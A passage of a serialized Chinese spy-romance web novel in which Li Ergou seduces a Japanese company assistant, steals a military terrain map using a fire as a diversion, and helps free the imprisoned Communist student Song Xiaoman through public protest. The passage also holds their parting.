“对不起,对不起,”酒井空一边道歉一边用手绢擦拭李二狗脸上的液体,“实在是太冒犯二狗先生了。” 李二狗笑着接过手绢,把脸上的清酒擦拭干净。 “没关系,是我唐突了,惹得酒井小姐没忍住。” “二狗先生太会说笑了,我从来没有想过你说的那个小被子到底是做什么用的。” “那你现在想想,它到底是做什么用的?” “你讨厌死啦……” “酒井小姐穿上中国旗袍风情万种,只是不知道穿上日本和服会有什么样的神韵。” 酒井空挑逗道:“二狗先生如果想知道,今晚可以跟我回商社,我有一套新做的和服,可以穿给你慢慢欣赏。” 李二狗伸手压在酒井空的手背上,轻佻地说道:“其实我更喜欢酒井小姐不穿衣服的样子。” 酒井空有一种棋逢对手的感觉,这个男人越来越让她着迷。 “二狗先生,是想让我见识你们中国男人的荒洪之力吗?” “日本女人的温顺体贴更令我欲罢不能!” 女服务员在旁边听的面红耳赤,她真怕这两个人不顾自己在场,放浪形骸起来。 “酒井小姐,吃饱了吗?时间不早了,我们该回去了。” “谢谢二狗先生的盛情款待。” 酒井空挽着李二狗的胳膊走出料理店。 此时皓月当空,李二狗的脚步已有些轻浮。 “酒井小姐,我送你回去吧。” “二狗先生,去我那里喝点清茶醒醒酒吧?” “方便吗?” 面对李二狗的明知故问,酒井空笑道:“我要说不方便,难道二狗先生就不去了吗?” “如果真不方便,改日吧!” “不管方便不方便,还是今日吧。” 酒井空扶着李二狗进入井伊商社。 “酒井小姐,你住几楼?上楼不会碰到你们明石社长吧?” “我还以为二狗先生天不怕地不怕,原来还怕我们社长啊,嘻嘻。” “我怕明石社长告诉我干爹,你知道的,我这人脸皮薄。” 酒井空笑道:“放心吧,二楼是办公区,我们都住在三楼,明石社长住在三楼东侧,我的房间在中间位置,碰不到的。” “那明石社长会不会还在他的办公室?上楼的时候可千万别碰到才好。” 酒井空指了指二楼中间的一个窗户,说道:“看到没?那个房间就是明石社长的办公室,关着灯,办公室没人,好了,我们快点上去吧,不然就真碰到明石社长了。” 李二狗看到,明石有信的办公室正好在酒井空三楼房间的下方。 两人上了楼,酒井空立刻扑到李二狗身上。 “酒井小姐,不是邀请我上来喝清茶吗?” “待会有清泉甘露,清茶有什么好喝的。” 李二狗知道今晚这一场逢场作戏必须把戏做足,他只能让自己吃这个哑巴亏了。 他抱起酒井空,粗暴地扔到床上,没想到酒井空却显得异常兴奋。 黑色的长发在半裸的香肩上随意四散,苍白到近乎没有血色的肌肤透着一种病态的美感。 半褪的红色旗袍已经遮掩不住她凸凹有致的身躯。 李二狗扑了上去,一时间地动山摇,房中响起此起彼伏的嘶吼与喘息声。 事后,香汗淋漓的酒井空躺在李二狗的怀中。 “你让我真正见识了什么是真正的男人,中国男人,棒棒的!” “你倒是享受了,老子累得腰酸背痛腿抽筋。” 酒井空被李二狗骂了一句,幸福地闭上眼睛,紧紧地贴在他的胸口,感受他强劲而有力的心跳声。 李二狗闭上眼睛装睡,当他听到酒井空传来均匀的呼吸声时,便悄然下了床。 刚打开房门,身后突然传来酒井空的声音。 “你要去哪?” 李二狗心脏突突地跳个不停,一时想杀她的心都有了! 可井伊商社有很多人看到他俩一起上了楼,李二狗赶紧深吸一口气,让自己的心平复下来。 转身时,脸上已挂满笑容。 “我想去趟卫生间,是不是吵醒你了?” 酒井空打开床头灯,赤身裸体走向李二狗,李二狗做好了鱼死网破的心理准备。 “傻瓜,房间里就有卫生间,你还出去干嘛?” 李二狗解释道:“我怕吵醒你,还是出去上吧。” “我都已经醒了,你还担心什么?快去吧。” 李二狗只能关上门,进入卫生间。 他坐在马桶上,大脑快速思索着接下来的对策。 卫生间有一个窗户,李二狗打开窗户,向外看了看,正好有一根雨水管直通楼下。 “二狗先生,你怎么了?怎么这么久?” 听到敲门声,李二狗赶紧把窗户关上,说道:“我吃不惯日本料理,有点拉肚子,马上就好了。” 李二狗从卫生间出来,酒井空问道:“没事吧?” “好多了,今天吃了很多生的东西,肚子有些不适应。” “等你以后吃多了就习惯了,生吃才能吃出食物的本来味道。” 李二狗看着精神亢奋的酒井空,心想,如果不把她累成一摊泥,今晚自己就没有出去的机会了。 他能等,可宋小曼等不了。 想到遍体鳞伤的宋小曼,李二狗顿时充满了干劲! “酒井小姐,我们继续吧……” “二狗先生,求之不得……” 一时间地动山摇,炮声震天,李二狗真正使出了洪荒之力。 酒井空终于累得支撑不住,沉沉睡去。 第195章 脑海中闪过一道亮光 “酒井,酒井。” 李二狗轻喊了两声,酒井空并没有回应,他迅速起身下了床。 李二狗纵使是铁打的身体,此时只觉得两腿发软,走在路上仿佛踩在棉花上一般。 来到二楼明石有信的办公室,李二狗掏出细铁丝,插入锁孔,轻轻地转动了几下,门锁发出“啪”的一声,房门便打开了。 他左右瞅了瞅,迅速进入房间。 明石有信的办公室很大,分为里外两间,足有七八十平米。 李二狗掏出事先准备好的小手电筒,先搜查了他的办公桌,抽屉并没有上锁,李二狗连打开的兴趣都没有。 搜查完了办公桌,李二狗又搜查了书架、衣柜等所有可疑的地方,一无所获。 最令李二狗感到蹊跷的是,办公室里竟然没有保险柜,这实在是令人不可思议。 随着时间的流逝,李二狗的心情愈发紧张。 明石有信到底会把华北五省地形地貌图藏在什么地方呢? 藏在什么地方,也许只有明石有信知道,但他肯定不会主动告诉自己。 突然,李二狗的脑海中闪过一道亮光。 他走到门口,打开房门,楼道里漆黑一片,空无一人。 他掏出细铁丝,打开对面的房门,发现是一间仓库。 再也没有比这个房间更合适的地方了。 李二狗掏出火柴,点燃了地上的一堆文件。 看着越来越大的火势,李二狗开心地笑了。 他走到楼道里,捏着鼻子大声喊道:“失火了!失火了!” 然后悄然躲进了明石有信的办公室,关上房门,躲到窗帘后面。 很快,门外就传来一阵喧哗声和日语叽里呱啦的声音。 井伊商社的人开始忙着救火。 “快快地,一定把火扑灭。” 这是明石有信的声音。 紧接着,房门打开,李二狗透过窗帘缝看到明石有信一张紧张的脸。 他径直走到书架前,不知道动了一个什么机关,书架竟从中间分开向两边滑去。 原来书架后面有个暗格,镶嵌在墙里。 明石有信打开暗格,拿出一个文件袋,他从文件袋里抽出一张叠好的纸,这才露出了放心的笑容。 正当他准备拿着文件袋离开时,身后被人猛地劈了一掌,顿时昏死过去。 李二狗把文件袋揣在怀里,插好明石有信办公室房门,然后从窗户爬出去,沿着雨水管爬到三楼,通过窗户爬入酒井空的卫生间。 李二狗从里面悄然打开卫生间的门,看到酒井空在床上睡得正香甜,她实在是太累了。 他走到床前,迅速脱掉衣服,然后才趴在酒井空面前,喊道:“酒井、酒井……” 酒井空睁开朦胧睡眼,看是李二狗,说道:“狗儿,我不行了,明天早上再说吧。” 李二狗说道:“我听到外边有动静,还有烧焦的味道,好像是失火了。” “失火了?” 酒井空从床上坐起来,用力闻了闻,确实有一股烧焦的味道,外边的喧嚣声也越来越大。 “我得出去看看是什么情况!”酒井空边说边穿衣服。 “酒井,要不然我还是走吧?让别人看到咱俩住一起,好说不好听啊。” 酒井空想了想,被别人看到确实有所不妥。 “狗儿,你别出去,我出去看看就回来。” “我怕火势控制不住,要是烧到二楼就麻烦了。” “你说的有道理,那你还是趁乱离开吧,我们改日再联系。” 酒井空亲了李二狗一口。 “真舍不得你走。” “来日方长,我先走了。” 李二狗趁着井伊商社众人救火造成的混乱,离开了井伊商社。 出了井伊商社的大门,李二狗来到一处隐蔽的地方。 他从怀里拿出文件袋,从文件袋里掏出地形图。 他把地形图平铺到地上,借着手电筒发出的微弱光亮,果然是一张华北五省的地形地貌图,上面不仅详细标注了华北五省山川河流的具体位置,更重要是国民政府在华北五省的军事部署也标注的一清二楚。 日本人要是按照这张地图进攻华北,华北将无任何秘密可言。 日本人的狼子野心可见一斑。 李二狗收好地图,看了看腕上的手表,此时已是凌晨二点。 等明石有信醒来,发现地形图被抢,李二狗想象的到会发生什么。 酒井空的第一怀疑对象肯定是李二狗,但她会告诉明石有信吗? 一旦告诉明石有信,李二狗又是她带回井伊商社的,她会受到怎样的惩罚? 关键是她并没有抓到李二狗偷盗的直接证据! 不过李二狗已经顾不得这些,先想办法救出宋小曼再说。 他径直来到中华大街9号的那家书店,轻轻敲了敲房门。 “谁?” “我是李二狗!” 老王立即听出是李二狗的声音,他赶紧打开房门让李二狗进来,又伸出头看了看外边,没有发现异常情况才放心地关上房门。 “李先生,你怎么这个点过来?出什么事了?” 李二狗从怀里掏出文件袋。 “这是华北五省地形地貌图,我刚刚从井伊商社偷出来的。” 老王惊得披在身上的衣服掉在地上都没有察觉,他接过文件袋,从里面掏出地图,铺在桌面上看了起来。 “李二狗先生,你实在是太伟大了,全体中国人民都得感谢你。” 老王紧紧握住李二狗的手,激动的老泪纵横。 比起全体中国人民的感谢,李二狗此刻更关心如何救出宋小曼。 “老王,地形图已经到手,接下来我们怎么去救宋小曼?” “李先生,你有什么建议?” 李二狗心中已然有了一个主意,他想利用这幅地形图和日本人做交易,让他们放了宋小曼。 “老王,你能不能安排人去和日本人谈判,利用这幅地形图逼日本人放了宋小曼。” 老王神情凝重,在屋内徘徊了两圈,方才说道:“李先生,你可能不太了解日本人,他们是一群有小礼而无大义的人,如果利用这幅地形图和他们做交易,救不救得出宋小曼暂且不说,他们肯定会千方百计地除掉我们,夺回地形图。” 李二狗已经急得双眼冒光! 第196章 号外!号外! “那我们可以让他们先放人!”李二狗建议道。 “先放人?”老王冷笑道,“那之后地形图给不给他们?给,伤害的是中国,不给,他们会放过宋小曼吗?她可是胡家大院的三姨太,日本人会顺藤摸瓜找到并除掉你和她。” “那怎么办?不能再拖了,我担心宋小曼扛不住他们的酷刑!” “是啊,不能再拖了,日本人发现地形图被抢,肯定会想尽一切办法来逼宋小曼同志开口。” “那我们直接把地形图交给省政府。” 老王笑了。 “你以为省政府会感谢我们吗?他们中的很多人早已被日本人收买,他们就是日本人的走狗。另外,仅仅凭借这幅地图也不能证明就是井伊商社所为,他们一样有理由不放宋小曼。” “这也不行,那也不行,到底怎样才行?” 李二狗急得直跺脚! “李先生,你先别着急,我倒有一个主意可以一试。” “什么主意?” “广泛发动群众,在舆论上给省政府和日本人施加压力,就不信他们不屈服!” 李二狗懵逼了! 发动群众? 怎么发动群众? 谁去发动群众? 群众会听你的吗? 舆论又是什么? 舆论怎么能施加压力? 李二狗想得头都大了。 “李先生,剩下的事情你不用管了,我现在需要出去一趟,你等我的好消息吧。” 老王穿好衣服,拿着华北五省地形地貌图出了门。 第二天早上,省城的大街小巷全是报童的卖报声。 “号外!号外!” “日本特务窃取我华北五省军事部署!” “号外!号外!” “日本欲侵略我中国!” 成百上千的报童举着新出版的《黄河早报》叫卖! 报纸头版头条刊登了日本特务窃取华北五省地形地貌和军事部署的所作所为,并刊登了《华北五省地形地貌图》的模糊照片。 “打倒日本帝国主义!” “把日本特务驱逐出境!” “释放爱国学生宋小曼!” 大街上出现大批学生和工人,他们举着横幅、高喊口号,浩浩荡荡地奔赴省政府和井伊商社。 中外记者和看热闹的民众齐聚省政府门前,把它围得水泄不通。 “把日本特务驱逐出境!” “释放爱国学生宋小曼!” 省政府主席夏瀚林看着桌上的《华北五省地形地貌图》,气得破口大骂。 “这是谁送来的?人呢?抓起来没有?” 秘书吓得大气不敢喘。 “夏主席,这张地图一大早就出现在省政府传达室,不知道是谁送来的。” “妈了个巴子!这张地图要是让委员长看到,非得砍了我们的脑袋不可!你们都是干什么吃的?” 秘书急得满头大汗,说道:“夏主席,当今之计,还是先安抚好示威的人群才好,听说他们还去了井伊商社,如果局势失控,很可能演变为中日国际纠纷,到时候就更难收场了。” “张连才在哪?还没有到吗?” “张局长已经在门外候着了。” “让他滚进来!” 城关警察局局长张连才急得一脑门子汗。 “夏主席。” 夏瀚林指着张连才的鼻子破口大骂。 “张连才,你个狗日的,你到底能不能干?不能干老子立马换人!” “夏主席,请您息怒,我觉得一定是共产党在背后捣的鬼,我已经安排人,发现共产党立马逮捕!” 夏瀚林听了张连才的话,抓起桌上的茶杯砸向张连才,张连才吓得连躲都不敢躲。 他此刻关注的是如何不被南京国民政府问责,如何尽快平息舆论带来的压力,至于什么共产党不共产党的,他根本不关心。 “妈了个巴子!天天就是抓共产党,抓共产党!小命都快没有了!你拿什么抓?” 张连才连连点头,汗如雨下。 “夏主席,我们接下来怎么办?还请示下!” “妈了个巴子!”张连才还想去抓桌上的茶杯,发现已经被他扔到了地上。 “马上把那个女学生宋小曼放了,然后派人去井伊商社,一定不能让他们伤了日本人!” 张连才说道:“夏主席,人可以放,可我担心日本人那边如果不给一个说法,民众这关恐怕过不去啊!” “先去把人放了,先稳控住局势再说。” 张连才答应着退了出去。 “大家静一静,听我说,我们已经查明,宋小曼是被冤枉的,我已经安排人去释放!大家还是先散了吧。” “把日本特务驱逐出境!” “把日本特务驱逐出境!” “大家冷静一下,我们没有直接证据,仅凭一张地形图是无法给日本人定罪的!谁能证明地图是日本人画的?” “我们要见夏瀚林!” “让夏瀚林出来!” “让夏瀚林出来!” 张连才看大家的情绪越来越激烈,便给旁边的一个人使了个眼色,那个人立马会意,带着两名警察直接来到示威人群最前面的一个人面前。 “我们怀疑你是共产党,跟我们走一趟!” 示威人群看警察不仅不驱除日本特务,还要抓领头的人,立马炸了! 两个学生勇敢地挡在那个人身前,其余的学生一哄而上,把那两个警察打的鼻青脸肿,狼狈逃窜! “让夏瀚林出来!” “让夏瀚林出来!” 示威人群手拉着手向前涌,眼看就要冲破警察设置的警戒线。 “再敢向前,老子就开枪了!” 张连才话刚出口,中外记者的照相机就对着他噼里啪啦照个不停。 “妈了个巴子!” 张连才听到夏瀚林的声音,刚一回头就结结实实挨了他一个大耳光。 “竟敢对学生动手,你他娘的还算是警察吗?忘恩负义的东西!” 张连才捂着红肿的脸不敢再言语。 “同学们,我是夏瀚林,大家听我说。” 示威人群最前面的那个人转身挥了挥手,示意大家先安静下来。 “同学们,大家反映的问题,我已经向上面进行了汇报,但调查取证需要一定的时间,请大家给我们一点时间,我一定会给大家一个满意的答复,好不好?” “好,我们就给你三天时间,三天之后如果没有回复,我们就去南京国民政府请愿。” “好,我答应大家,三天之内一定给你们一个满意的答复,大家快回去上课吧。” 第197章 你是有意的 人群散去,夏瀚林表情凝重! 日本人他得罪不起,南京国民政府他更得罪不起,此事如何解决,他心里一点谱都没有! 还是拖吧,能拖一天算一天! 以他的为官经验,很多难以解决的事情拖着拖着也就解决了! “夏主席。” 张连才虽然挨了打,心里觉得委屈,但夏瀚林如果一气之下,撤了他警察局局长的职务,他哭都找不着地方。 所以他只得赔着笑脸,原地等候夏瀚林的指示。 “废物!真是废物!你还愣着干什么?赶紧派几个人盯着那几个领头的,还有那个女学生,如果查实是共产党,立马抓起来。” “是!是!夏主席英明!夏主席英明!” “妈了个巴子!真是废物!” 宋小曼被从警察局释放出来,但李二狗并没有去警察局门口迎接她。 他雇了一个黄包车车夫,提前在警察局门口等着,宋小曼一出现,立马拉上她直奔城西。 两个警察穿着便衣悄悄尾随,被躲在暗处的李二狗看得一清二楚。 李二狗悄悄跟了上去。 前面的黄包车夫按照李二狗提前安排的路线,在小胡同里来回穿梭。 两个警察苦苦跟随,在一个胡同口弯着腰大口大口地喘着粗气。 “他妈的,这黄包车到底要去哪,累死老子了。” “老子也累死了!怎么感觉他娘的是在遛咱哥俩呢?” 李二狗悄然出现在他们身后,嘴角露出一丝诡异的笑容。 “砰!” 两颗头被按住,猛地碰到一起,两人登时昏死过去。 黄包车夫把宋小曼送到一个荒废的土地庙门前,按照李二狗提前的吩咐,他放下宋小曼头也不回地走了。 宋小曼正在迷茫之际,李二狗出现在她面前。 “李二狗,怎么是你?” “你想是谁?” “是你救了我?” “不只是我,还有你的同志。” 宋小曼瞠目结舌,嘴唇颤抖着不知该说什么。 “这里不是说话的地方,”李二狗走到土地爷爷塑像后面掏出一个包袱,“这里有衣服,你先换上,我先带你离开再说。” 宋小曼接过衣服,发现小小的土地庙里竟没有一个方便她换衣服的地方。 李二狗背过身,说道:“情况紧急,你就凑合一下吧。” 身后传来宋小曼窸窸窣窣脱衣服的声音,时而还会传来几声轻微的呻吟声。 宋小曼身上的伤口已经结疤,黏在衣服上,一脱衣服火辣辣地疼。 “三奶奶,你身上的旧衣服就先别脱了,直接穿上就好。” 宋小曼身上的衣服已脱去一半,此时脱也不是,穿也不是,她的胳膊痛得根本抬不起来。 “你……帮帮我。” 李二狗闻言转身,看到宋小曼酥胸半露,身姿妖娆,堪比神女,一时只顾着看,完全忘记了该做什么。 宋小曼娇嗔道:“也不怕看眼里拔不出来,快点帮我把衣服穿上。” 李二狗这才回过神来,宋小曼身上伤痕累累,自己却还用男人世俗的目光去审视她,真是禽兽。 不对!是禽兽不如! “对不起,对不起,我不是故意的。” “你是有意的!” “我……” “你什么你,快来帮我穿上。” 宋小曼满脸娇羞,似是恼怒,嘴角却挂着似有似无的笑容。 李二狗轻轻抬起宋小曼的胳膊,帮她伸到一只袖子里,抬手的瞬间,里面的春光一览无余。 他的哈喇子差点流出来滴到宋小曼胸口。 他赶紧狂咽口水,好不容易才帮她把衣服穿好。 “谢谢你!” “这都是我应该做的。” 李二狗说完,觉得这话有些别扭,他竟一时显得有些慌乱。 “我去推车。” “车?” 李二狗笑了笑,走到土地爷爷塑像后面推出一辆自行车。 “走吧,我带你去一个安全的地方。” 宋小曼对李二狗刮目相看,从她出警察局到现在,这一系列操作证明他比自己更适合干地下工作。 李二狗骑车带着宋小曼来到一处小院,这是他前段时间在省城悄悄购置的,没有任何人知道。 宋小曼上下打量着院子,疑惑地问道:“这是哪里?” “放心吧,这里很安全。” 进入屋内,李二狗拿出一个提前准备好的药箱。 “小曼,你身上的伤口需要马上处理,不然很容易发炎。” 宋小曼显得十分难为情,这里只有他们两个人,好在也只有他们两个人。 她默默地闭上眼睛。 对于李二狗来说,给宋小曼脱衣服抹药是一种煎熬。 他不能有那方面的心思,可克制那方面的心思对一个正常男人来说实在是太难受了。 只因宋小曼太馋人! 血肉粘连在她衣服上,尽管李二狗已经非常非常小心,但宋小曼还是不时发出轻微的呻吟声,她在尽量控制,但还是忍不住。 脱掉衣服,李二狗眼含热泪,轻轻地为她身上的伤口消毒、涂药、包扎。 他心里咒骂了特务无数遍,怎么能对如此晶莹剔透的女子下如此狠手,简直是畜生。 抹完药,李二狗又为宋小曼穿上衣服。 李二狗汗流浃背,宋小曼则一张俏脸通红通红。 屋内气氛一时有些尴尬,两人都不知道该说什么。 “你……” “我……” “我去给你买点早饭,你先休息一会。” 说完之后,李二狗赶紧走了出去。 宋小曼脸上绽放着羞涩的笑容。 这个李二狗,以前倒没发现他如此可爱。 李二狗买了早饭回来之后,宋小曼已经躺在床上睡着了,嘴角竟然挂着一丝微笑。 李二狗实在无法想象,这样一个柔弱的女子竟会是共产党,敌人的严刑拷打竟不能使她屈服。 他不忍叫醒她,静静地坐在床边看了一会,然后起身离开了。 来到中华大街9号的书店,他特意在书店门口的馄饨摊吃了一碗馄饨,确定周围没有异常之后,才走进书店。 老王看到李二狗,悬着的心才终于放下来。 来到书店后面的房间,老王急忙问道:“宋小曼的情况怎么样?” “她很好,现在在一个很安全的地方。” “警察盯得紧,宋小曼同志以后不能再回胡家大院了。” 李二狗也有这个意思,但话从老王口中说出来时,他心里却有一种深深的落寞感。 也许以后再也见不到她了! 第198章 我信你个鬼 李二狗回到吴公馆。 “李先生,井伊商社的酒井空小姐找您,让您一回来就给她回电话。” 酒井空打电话,而没有采取其他方式,说明她并没有把自己的事情告诉明石有信,她是一个聪明女人。 “酒井小姐,你好。” “李先生,你觉得我会好吗?” “怎么?酒井小姐这么快又想我了?我现在还两膝发软,实在是有心无力啊。” “李二狗,你……无耻!” “哈哈,酒井小姐这话是什么意思?有些事情我一个人可做不来。” “你……,中午十二点,京都料理店,我等你。” 酒井空说完,直接挂断电话。 李二狗拿着电话发了半天呆,见或者不见,有利亦有弊,最后他还是决定见她一面。 防人之心不可无,李二狗带上了一把枪。 虽然他和酒井空在床上表现得很默契,但那只是逢场作戏,对于日本人,尤其是妖艳的日本女人,李二狗不得不防。 他准时来到京都料理店。 店内顾客并不多,一个女服务员见李二狗进来,小碎步挪到李二狗身前,先鞠了一躬,随后问道:“请问您是李二狗先生吗?” “我是。” “请跟我来。” 女服务员把李二狗引到一个包厢门前,轻轻敲了敲房门,然后推开房门,酒井空正面无表情地坐在里面。 “先生,您请。” “谢谢!” 李二狗竟也变得绅士起来。 女服务员关上门之后,李二狗刚坐到酒井空对面,还未说话,酒井空已经把手枪顶在了他的脑门上。 李二狗微微一笑,说道:“酒井小姐的枪很精致。” “说,昨晚是不是你打晕了明石社长,偷走了华北五省地形地貌图?” “酒井小姐,原来报上说的华北五省地形地貌图真的是你们井伊商社所为?你们到底是什么人?” 酒井空被李二狗的反问弄得有些懵,她恍惚的瞬间,李二狗已然把她手中的手枪夺在自己手里。 “李二狗,你……” 李二狗玩弄着这把精致的小手枪。 “酒井小姐,有话好好说,何必动刀动枪呢?要是伤着自己,我可是会心疼的。” “李二狗,你到底什么人?” 李二狗微微一笑,说道:“我是中国人!” “这么说你是承认打晕明石社长并偷走华北五省地形地貌图了?” “酒井小姐,欲加之罪,何患无辞!我根本就不知道你在说什么!那晚我们做了什么,你心里没数吗?整个晚上都没消停,我哪来的时间去打晕明石社长?” 酒井空只记得两人缠绵了很久很久,确实是精疲力尽,以至于外面失火自己都毫无察觉。 “真的不是你?” “当然不是我!如果你不相信,就用这把枪打死我!” 李二狗把手枪“啪”的一声拍在酒井空面前,酒井空完全相信了李二狗。 “狗儿,对不起,是我错怪你了!” “空儿,我不怪你!” 两个人的手握在一起,四目相对,花火四射。 “空儿,你告诉我实话,你们井伊商社真的只是一个普通的商社?报上说的到底是不是真的?” “井伊商社当然只是一个商社,你不要相信小报上的那些言论。不得不说,你们中国人有时候真的很偏激,对我们日本人抱有很大的敌意!其实中日两国完全可以精诚合作,共建大东亚共荣圈。” “那华北五省地形地貌图是怎么回事?” “狗儿,我只是一个小助理,有些事我又怎么会知道呢?你不相信我吗?” 李二狗心想,我信你个鬼! 嘴上却说道:“我当然相信你!” “狗儿,有件事我要告诉你。” “什么事?” “社里已经决定把我调回日本,我们下次见面不知道是什么时候了。” 酒井空泪眼婆娑,不像是在说谎。 “为什么?为什么要突然把你调走?” “不止是我,明石社长也要调回日本。” 明石有信丢失了华北五省地形地貌图,差点引起中日国际纠纷,日本总社把他调回日本也是合情合理。 “有缘自会相见,空儿,我会想你的。” “狗儿,今晚你还会来吗?” 李二狗实在不忍心拒绝她,但今晚他真的没有时间。 “我们还是别等到晚上了,我现在带你去个地方。” 酒井空心领神会,顿时羞红了脸颊。 李二狗回到吴公馆时,吴有德正在发火,静雯站在一旁,不知该如何安慰。 “干爹这是怎么了?” “明石有信要回国,和干爹的合作泡汤了。” 前期为了勘探煤矿,吴有德投入大量资金,谁承想煤矿还未开采,明石有信却要被调回国。 “干爹,您先消消气,即使明石有信被调回国,但咱们是和井伊商社在合作,新来的社长也不能不认账啊。” “二狗,你有所不知,这次明石有信惹了大麻烦,南京国民政府已经向日本领事馆提出外交抗议,日本政府为了消除影响,也为了给国民政府一个交代,已经决定关闭井伊商社在中国的分社,咱们的那些投资全都打了水漂。” 李二狗着实吃惊不小,没想到井伊商社中国分社要关闭。 “干爹,井伊商社虽然走了,但那些煤矿他们又搬不走,不还在咱们中国吗?” “二狗,你太幼稚了!现在上上下下有多少双眼睛在盯着那些煤矿?你觉得那些煤矿还会姓吴吗?他们不杀我,已经是我花了很大的代价换来的。和日本特务勾结,这是多大的罪名!” 李二狗早就劝过吴有德不要和日本人来往,可他总是不听,这次也算花钱买个教训。 “干爹,事已至此,生气也没有用,就当破财免灾吧!您别生气了,以后在其他生意上找补回来就行了。” “哎,我吴有德玩了一辈子鹰,没想到临了却被鹰啄了眼,真是晦气!” 李二狗虽然一开始就不赞成吴有德和日本人做生意,但今天的结果多多少少也是他造成的,他有心弥补一下吴有德的亏空。 “干爹,我倒有个主意,应该可以赚回一些钱。” 第199章 二狗,我会想念你的 听到李二狗有赚钱的主意,吴有德脸色稍缓。 “二狗,你有什么好主意,说出来给干爹听听。” “干爹,这次来省城之前我特意去全省各地做过调查,今年全省普遍干旱,夏粮减产已是板上钉钉的事实。” “全省各地都干旱?你确定?” “确定,我专门安排人做的现场调查。” 在交通闭塞的年代,信息就是金钱。 李二狗未说做什么生意,吴有德已经猜到他要说什么,不愧是老生意人。 “二狗,现在贸易行我已经交给静雯打理了,有什么主意你们俩商量着做吧,需要钱提前和我说一声。” “干爹,这么大的事情还得您拿主意才行,我们有点吃不准啊。” 吴有德心想,你小子嘴上粘上毛比猴还精,还在我面前扮猪吃老虎。 “二狗,你知道干贸易行最忌讳的一件事是什么吗?” “什么事?” “囤货,十家倒闭的贸易行,最少有九家倒在囤货上。货要是囤不好,把钱全变成货,货再囤死了,你哭都找不着地方。” “干爹,既然囤货这么危险,这次你怎么还支持囤货?” “正所谓富贵险中求,这囤货要是能囤好了,确实能狠赚一把,所以眼光很重要。” “干爹,既然你同意,那我们就干了?” “干吧,但是要循序渐进,分批吃进,一定不要让别人发现咱们的企图。” “放心吧,干爹,我心里有数。” 静雯和李二狗回到卧室,静雯才忍不住问道:“二狗,你和干爹说了这么多,到底是要囤什么?” “傻瓜,”李二狗捏了捏她的小翘鼻,“当然是囤粮食。” 静雯这才恍然大悟。 第二天,静雯去上班后,李二狗上街为宋小曼买了一些衣服和吃食。 来到院子里,宋小曼已经能下地行走。 “感觉怎么样?” “好多了。” 不知道为什么,现在李二狗见到宋小曼,总有一种局促感,好像自己做了什么错事一般。 “小曼,为了你的安全,你以后不能再回胡家大院了。” 宋小曼脸上闪过一些落寞,也许是心有不舍。 “老王已经和我说过了,他已请示上级组织,组织同意把我派到南方根据地工作,今晚就出发。” 李二狗沉默了,他想挽留,但又知道不能挽留,他更知道,想挽留也挽留不住。 “你心里是不是有很多话想问我?” 李二狗点了点头。 宋小曼把一把椅子推到李二狗身前,笑道:“你先坐下,我给你讲讲我的故事,也许以后再也没有机会了。” 离别在即,李二狗只能默默坐下,深情凝视着心中的白月光,一时有些百感交集。 “三年前,我还在省城师范大学读书,那是我第一次接触到共产党宣言,立即被这种全新的主义所吸引。” “我的一位老师是一名共产党员,他向我们灌输中国共产党的革命纲领、革命任务以及党的路线、方针和政策。” “你从那时候就加入了中国共产党?” 宋小曼笑道:“那时候我哪里够资格?我只是一名共产主义青年团团员。” “共产主义青年团团员?什么是团员?” “共产主义青年团是中国共产党领导的先进青年的群团组织,是党的助手和后备军。” 宋小曼说得太过专业,李二狗根本听不懂。 “其实就是入党积极分子,在你加入中国共产党之前,组织会考察你,你只有在共产主义青年团表现优异,组织才会考虑吸纳你加入中国共产党。” “后来呢?” “后来,反动军阀发动了反革命政变,我的老师和很多同学都死在了敌人的刺刀之下……” 说到这,宋小曼早已泪流如下,当年那个凄惨的情景至今仍历历在目。 李二狗从兜里掏出手绢,有一瞬间,他很想亲自为宋小曼拭去眼角的泪水,但还是把手绢递到她手中。 宋小曼接过手绢,攥在手中,任泪水铺满双眼。 “后来你怎么去了胡家大院?” “我在一位老师的掩护下,侥幸逃脱。但反动军阀倒查清算,杀害了我的父母,我也上了他们的悬赏公告。” “所以你在走投无路之下嫁给了老爷?” “如果我说我没有真正嫁给他,这些年他也根本没有碰过我,你信吗?” 打死李二狗他也不信! 宋小曼叹息一声,说道:“我就知道你不会信。” 李二狗急忙否认道:“我没有不信,只是觉得有些不可思议。” “我被反动军阀追捕,逃进了胡家大院,胡士高垂涎于我的美色,便收留了我。” 李二狗没想到胡士高竟然还做过英雄救美的事,只可惜他并不是一个英雄。 “为了感谢他,所以你做了他的三姨太?” 宋小曼脸上闪过一丝尴尬的神色,但李二狗理解她的选择,一个弱女子,在走投无路之下做出这种选择,合情合理,谁都不是圣人! 比起又要当婊子又要立牌坊的行为,李二狗更欣赏宋小曼的真实。 “我承认,当时我胆怯了,因为社会上都在传言,我们的人已经被反动军阀赶尽杀绝了!” “你刚才说胡士高没有把你怎么着,你是怎么做到的?” 宋小曼苦笑道:“其实很简单,我告诉了他我的真实身份,我警告他,如果他敢碰我一下,我立马就去告发他收留我,最后他怂了。” “没想到你还挺有头脑。” “其实这几年我一直痛恨自己当初的软弱,我恨我自己,我厌倦了这种苟且偷生的日子,我无数次想过结束自己的生命,直到前些天我偶然遇到以前的一个同学,他告诉我,我的一位老师正在省城开展地下工作,他邀请我一起去省城投入到我们未尽的事业当中。” 李二狗这才明白,当初宋小曼为何那么痛快地答应到省城照顾胡士高。 “小曼,恭喜你,终于逃离了那个地方。” “二狗,谢谢你,如果没有你,这次我真的……” “小曼,不用说这些,其实我挺佩服你的。” “二狗,如果你愿意,我可以介绍你加入我们,我们可以一起为中国革命的胜利而奋斗。” 李二狗笑了笑,说道:“小曼,不怕你笑话,其实我是一个小富即安的人,我离不开那块生我养我的土地,我得回去也必须回去。” “每个人都有每个人的选择,我尊重你的选择!二狗,我会想念你的。” “我也是!” 第200章 李二狗疯了 “念秋,三奶奶已经失踪好几天了,你作为她的贴身丫鬟,真的不知道她去哪里了吗?” 念秋吓得立马跪在地上。 “狗哥,李管家,我真的不知道三奶奶去了哪里,她真的没告诉我啊。” 李二狗急得在屋内踱来踱去。 “你说这可如何是好?三奶奶平白无故失踪了,回去之后,大奶奶要是怪罪下来……哎!” “李管家救我!李管家救我!” “好了,念秋,起来吧,你是我妹子,我怎么能不救你呢?记住,以后不论谁问,我们就一口咬定三奶奶是自己离开的,我们什么都不知道。” “我都听你的,狗哥。” “念秋,还得再辛苦你一段时间,留在这里照顾老爷。” “狗哥,放心,这都是我应该做的。” 李二狗塞给念秋十块大洋,念秋自然又是一番感恩戴德。 吴有德派车,把李二狗送回胡家大院。 “二狗,你该把老爷接回来。” “兰芝,在哪等死不是等死?接回来全家都跟着遭罪。” 